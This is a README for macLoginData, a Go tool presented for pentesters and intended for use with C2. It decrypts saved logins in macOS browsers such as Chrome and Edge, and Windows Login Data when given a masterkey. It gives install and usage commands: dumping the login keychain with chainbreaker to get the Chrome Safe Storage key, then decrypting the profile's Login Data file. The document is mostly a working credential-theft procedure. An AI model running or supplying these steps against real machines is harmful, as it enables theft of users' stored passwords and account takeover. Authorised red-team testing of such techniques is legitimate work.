macLoginData🔑

Installation • Usage • References

macLoginData decrypt login data stored in macOS browsers for pentesters.
This tool is intended to be used with C2.

Installation

➜  ~ go install -v github.com/kawakatz/macLoginData/cmd/macLoginData@latest

Usage

Google Chrome, Microsoft Edge

• login-keychain password is required to decrypt login-keychain

# extract Chrome Safe Storage value
➜  ~ ./chainbreaker.py --dump-all login.keychain-db --password=<login-keychain password>
# Note: Login Data is locked while Chrome is running
➜  ~ macLoginData Chrome '/Users/<username>/Library/Application Support/Google/Chrome/Default/Login Data' <Chrome Safe Storage>

Option

It is also possible to decrypt Login Data retrieved from Windows. In that case, use ChromiumKeyDump to retrieve a masterkey.

➜  ~ macLoginData -win Chrome 'Login Data' <masterkey>

References

• https://github.com/moonD4rk/HackBrowserData (MIT License)
  decryption logic for FIrefox, Google Chrome, Microsoft Edge, etc...